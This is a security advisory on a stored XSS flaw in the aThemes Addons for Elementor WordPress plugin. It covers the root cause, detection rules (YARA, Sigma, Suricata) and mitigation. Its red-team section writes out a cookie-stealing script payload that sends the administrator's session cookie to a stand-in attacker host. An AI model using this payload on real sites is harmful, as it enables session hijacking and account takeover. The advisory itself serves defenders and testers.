CVE-2025-22646

Executive Summary

CVE-2025-22646 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin aThemes Addons for Elementor (versions <= 1.0.8). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s widgets. When an administrator or other user views the compromised page, the malicious script executes, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation guidance.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or directly from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – victim must view the compromised page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be severe if an administrator account is compromised.

Deep Dive & Mechanics

The vulnerability exists in the athemes-addons-for-elementor-lite plugin, which extends the Elementor page builder with custom widgets. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and later rendering it in the frontend. Specifically, input fields within Elementor widgets (e.g., text fields, image captions, or custom HTML blocks) are not properly neutralized, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access or higher logs into WordPress.
2. The attacker creates or edits a page/post using Elementor and inserts a vulnerable widget from aThemes Addons.
3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized input field.
4. The payload is stored in the WordPress database.
5. When an administrator or any other user views the page, the script executes in their browser context.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress escaping functions such as esc_html(), wp_kses(), or esc_attr().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (hypothetical):

// In a widget's render method
echo $settings['widget_title'];

Patched Code (hypothetical):

// Properly escape output
echo esc_html( $settings['widget_title'] );

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with aThemes Addons for Elementor <= 1.0.8
• Contributor-level account or higher

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or post and edit with Elementor.
3. Add a vulnerable widget (e.g., "Heading" or "Text" from aThemes Addons).
4. In the widget’s text field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish or save the page.
6. Wait for an administrator to view the page, or send the link to the target.

Expected Result: The administrator’s session cookie is exfiltrated to the attacker’s server.

Blue Team

Detection & Response:

• Monitor WordPress logs for unusual page edits by low-privileged users.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests.
• Regularly scan for known vulnerable plugin versions using tools like WPScan.

Lab Setup:

• Install WordPress 6.x on a local server (e.g., XAMPP or Docker).
• Install aThemes Addons for Elementor version 1.0.8.
• Create a test user with contributor role.
• Use a browser developer console to inspect network requests and cookie behavior.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files may vary)
• Suspicious Database Entries: Look for post_content containing <script> tags or encoded JavaScript in wp_posts table.
• Network Traffic: Outbound HTTP requests to unknown domains containing cookie data or other sensitive information.
• Log Entries: Unusual page edits by non-admin users, especially those containing HTML/JavaScript in widget fields.

Detection Engineering

YARA Rule

rule CVE_2025_22646_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in aThemes Addons for Elementor"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-22646"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "athemes-addons-for-elementor-lite"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in aThemes Addons for Elementor
id: cve-2025-22646
status: experimental
description: Detects stored XSS attempts via aThemes Addons for Elementor plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: '*action=elementor_ajax*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22646 Stored XSS in aThemes Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.

Long-term Fix:

• Monitor the plugin’s official page for updates. If no patch is forthcoming, consider replacing the plugin with an alternative.
• Apply WordPress hardening measures: use esc_html(), wp_kses(), and esc_attr() in all custom plugin code.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for known XSS patterns.

Valters IT